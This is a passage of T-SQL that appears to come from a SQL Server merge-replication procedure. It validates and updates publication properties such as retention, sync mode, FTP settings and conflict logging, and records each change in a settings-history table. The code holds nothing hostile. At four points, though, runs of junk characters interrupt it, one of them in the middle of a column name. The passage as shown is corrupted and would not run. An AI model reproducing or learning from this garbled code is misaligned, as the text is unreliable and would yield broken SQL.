        -- Insert event into MSmerge_settingshistory
        if (@previousStatus <> @statusid)
        begin
            select @eventtype       = 2 -- Change in publication level property
 
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousStatus,@statusid,NULL)
        end

    END


    if @property = 'retention'
    BEGIN
        /*
        ** Update the publication with the new replication frequency.
        */

        select @retention = CONVERT(int, @value)
        if @@error <>0 goto UNDO

        if @retention is NULL
        begin
            select @retention = 0
        end
        else if @retention < 0 or @retention > sys.fn_units_until_maxdate(@retention_period_unit, getdate())
        begin
            raiserror(20050, 16, -1, 0)
            GOTO UNDO
        end

        declare @oldRetentionValue int
        SELECT @oldRetentionValue = retention from dbo.sysmergepublications WHERE pubid = @pubid

        UPDATE dbo.sysmergepublications set retention = @retention WHERE pubid = @pubid
        if @@ERROR <> 0 
            GOTO UNDO

        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            
        set @schemaguid = newid()
        set @artid = null
        set @schematype = @SCHEMA_TYPE_RETENTIONCHANGE
        select @schematext = 'exec dbo.sp_MSchange_retention '+ '''' + convert(nchar(36),@pubid) + '''' + ',' + '''' + @value + ''''          
        exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 goto UNDO    

        if @oldRetentionValue <> @retention
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@oldRetentionValue,@retention,NULL)
        end
    END

    if @property = 'retention_period_unit'
    BEGIN
        
        select @pubcompat_level_id = backward_comp_level from dbo.sysmergepublications
        where pubid = @pubid
        
        if @pubcompat_level_id < @REPOLEVersion_90
        begin
            raiserror(22529, 16, -1, @publication)
            goto UNDO
        end
        
        if @value is null
        or lower(@value collate SQL_Latin1_General_CP1_CS_AS) not in ('day', 'days', 'dd', 'year', 'years', 'yy', 'yyyy', 'month', 'months', 'mm', 'week', 'weeks', 'wk', 'hour', 'hours', 'hh', 'minute', 'minutes', 'mi')
        begin
            raiserror(22527, 16, -1, @value)
            goto UNDO
        end
    
        select @retention_period_unit = 
            case    when lower(@value collate SQL_Latin1_General_CP1_CS_AS) in ('day', 'days', 'dd')
                        then 0
                    when lower(@value collate SQL_Latin1_General_CP1_CS_AS) in ('week', 'weeks', 'wk')
                        then 1
                    when lower(@value collate SQL_Latin1_General_CP1_CS_AS) in ('month', 'months', 'mm')
                        then 2
                    when lower(@value collate SQL_Latin1_General_CP1_CS_AS) in ('year', 'years', 'yy', 'yyyy')
                        then 3
                    when lower(@value collate SQL_Latin1_General_CP1_CS_AS) in ('hour', 'hours', 'hh')
                        then 4
                    when lower(@value collate SQL_Latin1_General_CP1_CS_AS) in ('minute', 'minutes', 'mi')
                        then 5
            end
        
        if @retention_period_unit <> 0 and @pubcompat_level_id < @REPOLEVersion_90
        begin
            raiserror(22528, 16, -1, @publication)
            goto UNDO
        end
        
        if @retention_period_unit <> 0 and @sync_modeid = 1
        begin
            raiserror(22555, 16, -1, @publication)
            goto UNDO
        end
        
        if @retention > sys.fn_units_until_maxdate(@retention_period_unit, getdate())
        begin
            raiserror(20050, 16, -1, 0)
            GOTO UNDO
        end

        declare @previousRPU tinyint
        SELECT @previousRPU = retention_period_unit FROM dbo.sysmergepublications WHERE pubid = @pubid
        UPDATE dbo.sysmergepublications set retention_period_unit = @retention_period_unit WHERE pubid = @pubid
        if @@ERROR <> 0 
            GOTO UNDO

        -- Insert event into MSmerge_settingshistory
        if (@previousRPU <> @retention_period_unit)
        begin
            select @eventtype       = 2 -- Change in publication level property
    
            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousRPU,@retention_period_unit,NULL)
  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
}@$`Sv@'      end

        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            
        set @schemaguid = newid()
        set @artid = null
        set @schematype = @SCHEMA_TYPE_RETENTIONUNITCHANGE
        select @schematext = 'exec dbo.sp_MSchange_retention_period_unit '+ '''' + convert(nchar(36),@pubid) + '''' + ',' + convert(nvarchar, @retention_period_unit)
        exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 goto UNDO    
    END
    
    if @property = 'conflict_retention'
    BEGIN
        /*
        ** Update the publication with the new conflict_retention value
        */

        select @retention = CONVERT(int, @value)
        if @@ERROR<>0
            GOTO UNDO

        if @value is NULL 
            select @retention = 0

        if @retention < 0
            begin
                raiserror(20050, 16, -1, 0)
                GOTO UNDO
            end

        declare @previousConflictRet int
        SELECT @previousConflictRet = conflict_retention FROM dbo.sysmergepublications where pubid = @pubid

        UPDATE dbo.sysmergepublications
            SET conflict_retention = @retention
            WHERE pubid = @pubid

        if @@ERROR <> 0 
            GOTO UNDO

        -- Insert event into MSmerge_settingshistory
        if (@previousConflictRet <> @retention)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousConflictRet,@retention,NULL)
        end            

    END

    if @property = 'max_concurrent_merge'
    BEGIN
        /*
        ** Update the publication property <max_concurrent_merge> with a new value
        */

        select @max_concurrent_merge = CONVERT(int, @value)
        if @max_concurrent_merge < 0    
        begin
            raiserror(21402, 16, -1, '@value')
            GOTO UNDO
        end

        declare @previousMaxConcMrg int

        SELECT @previousMaxConcMrg = max_concurrent_merge FROM dbo.sysmergepublications
            WHERE pubid = @pubid

        UPDATE dbo.sysmergepublications
            SET max_concurrent_merge = @max_concurrent_merge
            WHERE pubid = @pubid

        if @@ERROR <> 0 
            GOTO UNDO

        -- Insert event into MSmerge_settingshistory
        if (@previousMaxConcMrg <> @max_concurrent_merge)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousMaxConcMrg,@max_concurrent_merge,NULL)
        end
    END


    if @property = 'sync_mode'
    BEGIN
        /*
        ** Check for a valid synchronization method.
        */
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)='portable' select @value='character'

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('native', 'character', 'bcp native', 'bcp character')
        begin
            raiserror (20076, 16, -1)
            GOTO UNDO
        end
        
        /*
        ** Determine the integer value for the sync_mode.
        */
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) IN ('native', 'bcp native')
            select @sync_modeid = 0
        else if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) IN ('character', 'bcp character')
            select @sync_modeid = 1
            
        -- logical records not supported with char mode bcp (CE subscribers)
        if @sync_modeid = 1 and (exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid
                                        and filter_type & 2 = 2)
                                or exists (select * from dbo.sysmergepartitioninfo where pubid = @pubid
                                            and (logical_record_level_conflict_detection = 1 or logical_record_level_conflict_resolution = 1)))
        begin 
            raiserror(22540, 16, -1, @publication)
            goto UNDO
        end
        
        if @sync_modeid = 1 and exists (select * from dbo.sysmergepublications where pubid = @pubid
                                        and retention_period_unit <> 0)
        begin 
            raiserror(22554, 16, -1, @publication)
            goto UNDO
        end

        /*
        ** Update the publication with the new synchronization method.
        */
        declare @previousSyncMode tinyint
        SELECT @previousSyncMode = sync_mode FROM dbo.sysmergepublications
         WHERE pubid = @pubid
        
        UPDATE dbo.sysmergepublications
           SET sync_mode = @sync_modeid
         WHERE pubid = @pubid

        if @@ERROR <> 0 GOTO UNDO

        -- Insert event into MSmerge_settingshistory
        if (@previousSyncMode <> @sync_modeid)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousSyncMode,@sync_modeid,NULL)
        end        

    END

    IF @property = N'alt_snapshot_folder'
    BEGIN
        -- If the alt_snapshot_folder is set to '' or NULL,
        -- set the compress_snapshot bit to 0 and disable internet 
        -- support

        declare @previousAltSnapFolder nvarchar(255)
        SELECT @previousAltSnapFolder = alt_snapshot_folder FROM dbo.sysmergepublications
             WHERE pubid = @pubid

        IF @value IS NULL OR @value = N''
        BEGIN
            UPDATE dbo.sysmergepublications
               SET alt_snapshot_folder = @value,
                   compress_snapshot = 0,
                   enabled_for_internet = 0
             WHERE pubid = @pubid
        END
        ELSE
        BEGIN
            UPDATE dbo.sysmergepublications
               SET alt_snapshot_folder = @value
             WHERE pubid = @pubid
        END
        IF @@error <> 0
        BEGIN
           GOTO UNDO
        END
        exec @retcode=sys.sp_MSrefreshdynamicsnapshotlocations @pubid
        if @@error<>0 or @retcode<>0
            goto UNDO

        -- Insert event into MSmerge_settingshistory
        if (@previousAltSnapFolder <> @value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousAltSnapFolder,@value,NULL)
        end

    END

    IF @property = N'pre_snapshot_script'
    BEGIN
        declare @previousPreSnapScript nvarchar(255)
        SELECT @previousPreSnapScript = pre_snapshot_script FROM dbo.sysmergepublications
         WHERE pubid = @pubid

        UPDATE dbo.sysmergepublications
           SET pre_snapshot_script = @value
         WHERE pubid = @pubid
        IF @@error <> 0
        BEGIN
           GOTO UNDO
        END

        -- Insert event into MSmerge_settingshistory
        if (@previousPreSnapScript <> @value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousva!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
}@*sqv@'lue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousPreSnapScript,@value_bit,NULL)
        end

    END

    IF @property = N'post_snapshot_script'
    BEGIN
        declare @previousPostSnapScript nvarchar(255)
        
        SELECT @previousPostSnapScript = post_snapshot_script FROM dbo.sysmergepublications
         WHERE pubid = @pubid

        UPDATE dbo.sysmergepublications
           SET post_snapshot_script = @value
         WHERE pubid = @pubid
        IF @@error <> 0
        BEGIN
           GOTO UNDO
        END

        -- Insert event into MSmerge_settingshistory
        if (@previousPostSnapScript <> @value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousPostSnapScript,@value_bit,NULL)
        end
    END

    IF @property = N'ftp_address'
    BEGIN
        declare @previousFtpAddr sysname
        SELECT @previousFtpAddr = ftp_address FROM dbo.sysmergepublications
             WHERE pubid = @pubid

        IF @value IS NULL OR @value = N''    
        BEGIN
            UPDATE dbo.sysmergepublications
               SET ftp_address = @value,
                   enabled_for_internet = 0
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
                GOTO UNDO
            END
            exec @retcode=sys.sp_MSrefreshdynamicsnapshotlocations @pubid
            if @@error<>0 or @retcode<>0
                goto UNDO
        END
        ELSE
        BEGIN
            UPDATE dbo.sysmergepublications
               SET ftp_address = @value
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
                GOTO UNDO
            END
        END

        -- Insert event into MSmerge_settingshistory
        if (@previousFtpAddr <> @value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousFtpAddr,@value,NULL)
        end
    END
            
    IF @property = N'ftp_port'
    BEGIN
        declare @previousFtpPort int
        SELECT @previousFtpPort = ftp_port FROM dbo.sysmergepublications
              WHERE pubid = @pubid

        SET @numeric_value = CONVERT(int, @value)

        UPDATE dbo.sysmergepublications
           SET ftp_port = @numeric_value
         WHERE pubid = @pubid
        IF @@error <> 0
        BEGIN
           GOTO UNDO
        END

        -- Insert event into MSmerge_settingshistory
        if (@previousFtpPort <> @numeric_value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousFtpPort,@value,NULL)
        end        

    END

    IF @property = N'ftp_subdirectory'
    BEGIN

        declare @previousFtpSubdir nvarchar(255)
        SELECT @previousFtpSubdir = ftp_subdirectory FROM dbo.sysmergepublications
               WHERE pubid = @pubid        

        UPDATE dbo.sysmergepublications
           SET ftp_subdirectory = @value
         WHERE pubid = @pubid
        IF @@error <> 0
        BEGIN
           GOTO UNDO
        END
        exec @retcode=sys.sp_MSrefreshdynamicsnapshotlocations @pubid
        if @@error<>0 or @retcode<>0
            goto UNDO

        -- Insert event into MSmerge_settingshistory
        if (@previousFtpSubdir <> @value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousFtpSubdir,@value,NULL)
        end
    END

    IF @property = N'ftp_login'
    BEGIN
        declare @previousFtpLogin sysname
        SELECT @previousFtpLogin = ftp_login FROM dbo.sysmergepublications WHERE pubid = @pubid

        UPDATE dbo.sysmergepublications
           SET ftp_login = @value
         WHERE pubid = @pubid
        IF @@error <> 0
        BEGIN
           GOTO UNDO
        END

        -- Insert event into MSmerge_settingshistory
        if (@previousFtpLogin <> @value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousFtpLogin,@value,NULL)
        end

    END

    IF @property = N'ftp_password'
    BEGIN
        SELECT @enc_ftp_password = NULL
        IF @value IS NOT NULL
        BEGIN
            SELECT @enc_ftp_password = @value
            EXEC @retcode = sys.sp_MSreplencrypt @enc_ftp_password OUTPUT
            IF @retcode <> 0
            BEGIN
                GOTO UNDO
            END
        END

        UPDATE dbo.sysmergepublications
           SET ftp_password = @enc_ftp_password
         WHERE pubid = @pubid
        IF @@error <> 0
        BEGIN
           GOTO UNDO
        END
    END

    IF @property = N'max_concurrent_dynamic_snapshots'
    BEGIN
        SELECT @numeric_value = CONVERT(int, @value)
        IF @@ERROR<>0 OR @numeric_value < 0 OR @numeric_value IS NULL
        BEGIN
            RAISERROR(21403, 16, -1)
            GOTO UNDO
        END

        declare @previousMaxConcDynSnap int
        SELECT @previousMaxConcDynSnap = max_concurrent_dynamic_snapshots FROM dbo.sysmergepublications WHERE pubid = @pubid

        UPDATE dbo.sysmergepublications
           SET max_concurrent_dynamic_snapshots = @numeric_value
         WHERE pubid = @pubid
        IF @@error <> 0
        BEGIN 
            GOTO UNDO
        END 

        -- Insert event into MSmerge_settingshistory
        if (@previousMaxConcDynSnap <> @numeric_value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousMaxConcDynSnap,@numeric_value,NULL)
        end
    END         

    IF @property = N'replicate_ddl'
    BEGIN
        SELECT @numeric_value = CONVERT(int, @value)
        IF @@ERROR<>0 OR (@numeric_value NOT in (0, 1) ) OR @numeric_value IS NULL
        BEGIN
            RAISERROR(21544, 16, -1)
            GOTO UNDO
        END

        if @numeric_value = 1 and @compatlevel < 90
        begin
            RAISERROR(20650, 16, -1, @publication)
            GOTO UNDO
        end

        /* Get the previous value */
        select @previousnumericvalue = replicate_ddl from  dbo.sysmergepublications 
        WHERE pubid = @pubid

        /* Update the replicate_ddl column */
        UPDATE dbo.sysmergepublications 
            SET replicate_ddl = @numeric_value
            WHERE pubid = @pubid
        if @@error <> 0
        BEGIN
           GOTO UNDO
        END

        /*  Insert event in the MSmerge_settingshistory table if the
        new value is different from the old value
        Look in replsys.sql where the table is created for more
        details about what is in this table. */
        
        if (@previousnumericvalue <> @numeric_value)
        begin
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
}@.64v@'            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousnumericvalue,@numeric_value,NULL)
        end

    END

   if @property = 'publish_to_activedirectory'
   BEGIN
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14137, 16, -1)
            GOTO UNDO
        END
    END
    else if @property in ('conflict_logging', 'centralized_conflicts')
    begin
        set @value= LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
        
        if @property = 'conflict_logging'
        begin
            set @numeric_value= 
                    case @value
                        when 'publisher' then 1
                        when 'subscriber' then 0
                        when 'both' then 2
                        else null
                    end

            if @numeric_value is null
            begin
                RAISERROR (14103, 16, -1, 'conflict_logging')
                goto UNDO
            end
        end
        else
        begin
            raiserror (21767, 10, 1, 'centralized_conflicts', 'conflict_logging')

            set @numeric_value= 
                    case @value
                        when 'true' then 1
                        when 'false' then 0
                        else null
                    end
        
            if @numeric_value is null
            begin
                RAISERROR (14148, 16, -1, 'decentralized_conflicts')
                goto UNDO
            end
        end

        declare @old_centralized_conflicts int
        declare @old_decentralized_conflicts int
        declare @new_centralized_conflicts int
        declare @new_decentralized_conflicts int
        
        -- conflict_logging of 'both' is allowed for 90RTM and higher compat levels only.
        if @numeric_value = 2 and @compatlevel < @REPOLEVersion_90
        begin
            RAISERROR (20705, 16, -1, @publication)
            goto UNDO
        end

        if @numeric_value = 0 and @compatlevel < 30
        begin
            EXEC @retcode = sys.sp_MSBumpupCompLevel @pubid, 30
            IF @@ERROR<>0 OR @retcode<>0 GOTO UNDO
        end

        select @old_centralized_conflicts = centralized_conflicts, 
               @old_decentralized_conflicts = decentralized_conflicts
           from dbo.sysmergepublications where pubid=@pubid

        if @numeric_value = 0
        begin
            set @new_centralized_conflicts = 0
            set @new_decentralized_conflicts = 1
        end

        if @numeric_value = 1
        begin
            set @new_centralized_conflicts = 1
            set @new_decentralized_conflicts = 0
        end

        if @numeric_value = 2
        begin
            set @new_centralized_conflicts = 1
            set @new_decentralized_conflicts = 1
        end

        -- changing from conflict logging type of publisher to both or subscriber will require a reinit
        if @snapshot_ready>0 and @old_decentralized_conflicts = 0 and @new_decentralized_conflicts = 1
        begin            
            if @force_reinit_subscription = 0
            begin
                raiserror(20608, 16, -1)
                goto UNDO
            end
            exec @retcode = sp_MSreinitmergepublication @publication
            if @@ERROR<>0 or @retcode<>0
                goto UNDO
        end

        update dbo.sysmergepublications
            set centralized_conflicts = @new_centralized_conflicts,
                decentralized_conflicts = @new_decentralized_conflicts
            where pubid = @pubid

        if (@old_centralized_conflicts <> @new_centralized_conflicts)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,N'centralized_conflicts',@old_centralized_conflicts,@new_centralized_conflicts,NULL)

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,N'decentralized_conflicts',@old_decentralized_conflicts,@new_decentralized_conflicts,NULL)
        end

        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            
        set @schemaguid = newid()
        set @artid = null
        set @schematype = @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM
        select @schematext = 'exec dbo.sp_MSchange_mergepublication @pubid = ''' + convert(nchar(36), @pubid) + ''', @property = ''' + @property + ''', @value = ''' + cast(@numeric_value as nvarchar) + ''''
        exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 goto UNDO    
    end
    else if @property = 'generation_leveling_threshold'
    begin
              
        set @numeric_value= convert(int, @value)
        
        if @numeric_value is null
            select @numeric_value = 0
            
        if @numeric_value < 0
        begin
            raiserror(21119, 16, -1, @numeric_value, 'generation_leveling_threshold')
            goto UNDO
        end
            
        declare @previousGenLevelThresh int
        SELECT @previousGenLevelThresh = generation_leveling_threshold FROM dbo.sysmergepublications WHERE pubid = @pubid

        update dbo.sysmergepublications
            set generation_leveling_threshold = @numeric_value
            where pubid = @pubid

        -- Insert event into MSmerge_settingshistory
        if (@previousGenLevelThresh <> @numeric_value)
        begin
            select @eventtype       = 2 -- Change in publication level property

            insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
            values (default,@pubid,NULL,@eventtype,@property,@previousGenLevelThresh,@numeric_value,NULL)
        end

        select @schemaversion = schemaversion from dbo.sysmergeschemachange
        if (@schemaversion is NULL)
            set @schemaversion = 1
        else
            select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
            
        set @schemaguid = newid()
        set @artid = null
        set @schematype = @SCHEMA_TYPE_CHANGE_MERGE_PUBLICATION_90RTM
        select @schematext = 'exec dbo.sp_MSchange_mergepublication @pubid = ''' + convert(nchar(36), @pubid) + ''', @property = ''' + @property + ''', @value = ''' + cast(@numeric_value as nvarchar) + ''''
        exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
        if @@ERROR<>0 or @retcode<>0 goto UNDO    
    end
    else if @property IN ('allow_push', 'allow_pull', 'allow_anonymous', 'enabled_for_internet',
        'snapshot_ready', 'snapshot_in_defaultfolder', 'compress_snapshot', 
        'allow_subscription_copy', 'allow_synctoalternate', 'allow_web_synchronization','use_partition_groups', 'allow_subscriber_initiated_snapshot', 'keep_partition_changes',
        'allow_partition_realignment')
    BEGIN

        /*
        ** Check for a valid  value.
        */

        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14137, 16, -1)
            GOTO UNDO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(
@"Cv@'
        END

        /*
        ** set value bit
        */
        if LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            select @value_bit = 1
        else 
            select @value_bit = 0

        if @property = 'allow_anonymous'
        BEGIN
            declare @previousAllowAnon int
            SELECT @previousAllowAnon = allow_anonymous FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the allow_anonymous column */
            UPDATE dbo.sysmergepublications 
                SET allow_anonymous = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END
            -- Insert event into MSmerge_settingshistory
            if (@previousAllowAnon <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousAllowAnon,@value_bit,NULL)
            end
        END

        if @property = 'allow_push'
        BEGIN
            declare @previousAllowPush int
            SELECT @previousAllowPush = allow_push FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the allow_push column */
            UPDATE dbo.sysmergepublications 
                SET allow_push = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END
            -- Insert event into MSmerge_settingshistory
            if (@previousAllowPush <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousAllowPush,@value_bit,NULL)
            end
        END

        if @property = 'allow_pull'
        BEGIN
            declare @previousAllowPull int
            SELECT @previousAllowPull = allow_pull FROM dbo.sysmergepublications WHERE pubid = @pubid

            /* Update the allow_pull column */
            UPDATE dbo.sysmergepublications 
                SET allow_pull = @value_bit
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END

            -- Insert event into MSmerge_settingshistory
            if (@previousAllowPull <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousAllowPull,@value_bit,NULL)
            end

        END

        if @property = 'enabled_for_internet'
        BEGIN
            declare @previousEnableForInternet int
            SELECT @previousEnableForInternet = enabled_for_internet FROM dbo.sysmergepublications WHERE pubid = @pubid

            UPDATE dbo.sysmergepublications 
               SET enabled_for_internet = @value_bit
             WHERE pubid = @pubid

            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
            exec @retcode=sys.sp_MSrefreshdynamicsnapshotlocations @pubid
            if @@error<>0 or @retcode<>0
                goto UNDO

            -- Insert event into MSmerge_settingshistory
            if (@previousEnableForInternet <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousEnableForInternet,@value_bit,NULL)
            end

        END

        if @property = 'snapshot_ready'
        BEGIN
            declare @previousSnapshotReadyValue tinyint
            SELECT @previousSnapshotReadyValue = snapshot_ready from dbo.sysmergepublications WHERE pubid = @pubid

            declare @newSnapshotReadyValue tinyint
            SET @newSnapshotReadyValue = case @value_bit when 1 then 1 else 2 end

            -- snapshot_ready should not be set to 0. If snapshot_ready was 1 then
            -- set it to 2 to invalidate it.
            UPDATE dbo.sysmergepublications 
                SET snapshot_ready = @newSnapshotReadyValue
                WHERE pubid = @pubid
            if @@error <> 0
            BEGIN
               GOTO UNDO
            END

            -- Insert event in MSmerge_settingshistory
            if (@previousSnapshotReadyValue <> @newSnapshotReadyValue)
            begin
                select @eventtype       = 2 -- Change in publication level property

                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousSnapshotReadyValue,@newSnapshotReadyValue,NULL)
            end

        END

        IF @property = 'snapshot_in_defaultfolder'
        BEGIN
            -- snapshot_in_defaultfolder = 1 is only meaningful when
            -- alt_snapshot_folder is non-null, otherwise 
            -- a copy of the snapshot files is always kept
            -- at the publisher's working directory 

            declare @previousSnapInDefaultFolder int
            SELECT @previousSnapInDefaultFolder = snapshot_in_defaultfolder FROM dbo.sysmergepublications WHERE pubid = @pubid

            UPDATE dbo.sysmergepublications 
               SET snapshot_in_defaultfolder = @value_bit
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
                GOTO UNDO
            END                

            -- Insert event into MSmerge_settingshistory
            if (@previousSnapInDefaultFolder <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
                insert into dbo.MSmerge_settingshistory (eventtime,pubid,artid,eventtype,propertyname,previousvalue,newvalue,eventtext)
                values (default,@pubid,NULL,@eventtype,@property,@previousSnapInDefaultFolder,@value_bit,NULL)
            end

            -- Bump up the compatibility level if we are
            -- setting snapshot_in_defaultfolder to 0
            -- and compression is enabled. i.e. only 
            -- a compressed snapshot will be generated
            -- Note that alt_snapshot_folder is implicitly
            -- specified for the publication
            IF @value_bit = 0 and @compress_snapshot = 1 and @compatlevel < 40
            BEGIN
                EXEC @retcode = sys.sp_MSBumpupCompLevel @pubid, 40
                IF @@ERROR<>0 OR @retcode<>0
                    GOTO UNDO
            END

        END
        
        IF @property = 'compress_snapshot'
        BEGIN
            declare @previousCompressSnap int
            SELECT @previousCompressSnap = compress_snapshot FROM dbo.sysmergepublications WHERE pubid = @pubid

            UPDATE dbo.sysmergepublications
               SET compress_snapshot = @value_bit
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
                GOTO UNDO
            END

            -- Insert event into MSmerge_settingshistory
            if (@previousCompressSnap <> @value_bit)
            begin
                select @eventtype       = 2 -- Change in publication level property
    
 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`01"Z2
